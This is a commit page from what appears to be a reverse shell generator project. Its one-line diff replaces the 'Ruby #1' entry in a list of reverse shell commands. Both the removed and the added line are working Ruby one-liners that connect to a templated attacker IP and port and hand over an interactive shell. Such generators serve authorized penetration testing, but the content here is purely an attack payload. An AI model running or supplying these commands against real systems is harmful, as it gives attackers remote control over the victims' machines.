Fix Ruby #1 shell

This commit is contained in:
Ricardo Costa 2021-07-01 04:15:39 -04:00 committed by GitHub
parent 857bcf6238
commit 32de0e0ede
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -215,7 +215,7 @@ const reverseShellCommands = withCommandType(
}, },
{ {
"name": "Ruby #1", "name": "Ruby #1",
"command": "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'", "command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'",
"meta": ["linux", "mac"] "meta": ["linux", "mac"]
}, },
{ {